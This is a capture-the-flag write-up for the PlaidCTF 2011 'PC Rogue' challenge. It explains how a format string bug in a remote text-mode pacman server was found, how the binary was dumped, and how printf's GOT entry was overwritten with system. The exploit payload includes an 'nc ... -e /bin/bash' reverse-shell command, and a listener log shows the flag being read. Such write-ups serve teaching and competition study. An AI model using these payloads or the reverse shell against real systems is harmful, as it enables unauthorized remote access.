PlaidCTF 2011 #25 – PC Rogue (600)

Category: pwnables

Amalgamated has banned the use of Solitaire due to loss of productivity.
The only employee who would write a new game for everyone only likes ‘retro’ games, and has placed a text-adventure version of pacman on a company server.
We don’t believe he could have coded this securely, and the server contains a vital key.
Connect to the game here and find the key.

nc a9.amalgamated.biz 60123

Summary: remote formatstring vulnerability, without binary

Looking around

This task is a text-mode pacman without enemies. You can move along the map, and take pills and powerpills. Also it’s 8bit emulation and you can’t take a powerpill when it increases powerpoins greater than 127. I haven’t found any bugs at first, so I decided to write a bot for scanning the map. It is stupid enough, but it covers the whole map :) bot.py

Unhappily, when I ate all pills, nothing had happened:

Pacman game map

Later, I looked through the whole game (png’s in the ‘game’ folder) and noticed, that powerpills can be -128 and do not decrease when they are negative. 118th turn:

Negative powerpills and strange string in Item

Oops, the ‘Item’ field is “take”. Why?

You can have noticed, this field depends on the value of POWERPOINTS. So it should be something like this:

puts(Messages[POWERPOINTS])

And when POWERPOINTS are negative, this code prints something from user input. Looks like it is probable to be formatstring vulnerability: printf(Messages[POWERPOINTS]). Let’s check! But first, we didn’t know which “take” is printed. I tried to change the first one and it worked:

pacman $ (echo "fake"; head -n 118 history.txt) |
nc a9.amalgamated.biz 60123
...
STATUS:
Item: fake
POWERPOINTS:-128
...

Ok, let’s try some format:

pacman $ (echo "hey, %08x"; head -n 118 history.txt) |
nc a9.amalgamated.biz 60123
...
STATUS:
Item: hey, bfec4e54
POWERPOINTS:-128
...

YES! It’s format string!

Dumping binary

What now? We don’t have a binary, so it’s unreal to exploit it. Let’s dump it via “%s” format. Why “%s”? Because it’s the only one, which allows printing data from arbitrary address.

First, we need to found number of argument to printf, which points to our buffer. It’s easy:

AAAABBBBCCCC%11$08x prints AAAABBBBCCCC43434343, so %11$ points to CCCC. We can dump the binary with such format strings:

AAAABBBB\x01\x80\x04\x08%11$s prints “AAAABBBB\x01\x80\x04\x08ELF…”

Here is a script for that. It is rather slow, but it works. When dumped, we should patch the first byte from 00 to 7F (standard ELF header).

Exploiting

Well, the dumped binary is rather corrupted, but we can find some useful things. A good idea is to find a piece of code where the format string bug is present. It is just after printing “Item”, so let’s find this string, and a xref to it:

LOAD:0804ADC7 aItem           db 0Ah                  ; DATA XREF: main+99o
LOAD:0804ADC7                 db 'Item: ',0
LOAD:080496B2  mov     dword ptr [esp], offset aStatus ; "\n\nSTATUS:"
LOAD:080496B9  call    sub_804843C
LOAD:080496BE  mov     dword ptr [esp], offset aItem ; "\nItem: "
LOAD:080496C5  call    sub_804843C
LOAD:080496CA  movzx   eax, byte ptr [ebp-0E2h]
LOAD:080496D1  movsx   eax, al
LOAD:080496D4  mov     eax, [ebp+eax*4-2E4h]
LOAD:080496DB  mov     [esp], eax
LOAD:080496DE  call    sub_804843C
LOAD:080496E3  movzx   eax, byte ptr [ebp-0E2h]
LOAD:080496EA  movsx   eax, al
LOAD:080496ED  mov     [esp+4], eax
LOAD:080496F1  mov     dword ptr [esp], offset aP ; "\nPOWERPOINTS:%d"
LOAD:080496F8  call    sub_804843C

sub_804843C appears to be printf. It’s nice target for overwriting at GOT! Let’s find printf@GOT:

LOAD:0804843C sub_804843C     proc near
LOAD:0804843C                 jmp     off_804BF20

Ok, printf@GOT is 804BF20. If we overwrite it with system address, the program will do system("POWERPOINTS: %d") and other strings, and it will fail. But after the next turn, it will do system(our_format_string).

But how do we know system address? Maybe you have noticed a string “Command limit reached. Reseting command buffer.”. Looks like it allows us to make a second format string without reconnect. The buffer is resetted after each 127 commands, so the second format string must be 128th command.

So exploit is:

  • got current printf address with the first format string
  • calculate corresponding system address; offset can be got from a5 host (gdb: p/x &printf – &system)
  • send a format string which begins with argument to system and overwrites printf@got to system.

My exploit is here.

pacman $ py exploit.py 
Format string:
' nc a5.amalgamated.biz 3123 -e /bin/bash & #     \xbf\x04\x08"\xbf\x04\x08%12616u%21$hn%34299u%22$hn'
20bf0408 0x3180L
22bf0408 0xb77bL
Worked!

And listening netcat at a5:

z2_1@a5:~$ nc -lvp 3123
listening on [any] 3123 ...
connect to [128.237.157.38] from AMALGAMATED-9.CLUB.CC.CMU.EDU [128.237.157.79] 47105
id
uid=1005(pc) gid=1006(pc) groups=1006(pc)
cat /home/pc/key
true8_bit_is_best_bit

The flag: true8_bit_is_best_bit

PS: if you want to try it, I have saved original binary

4 comments

Skip to comment form

  1. You guys are fucking sick, coding a bot to map the dungeon, lol
    Awsome job!!!

  2. Very nice write-up and good job!

  3. Awesome work

  4. Thanks for the Writeup :)

Leave a Reply to Nickname Cancel reply

Your email address will not be published.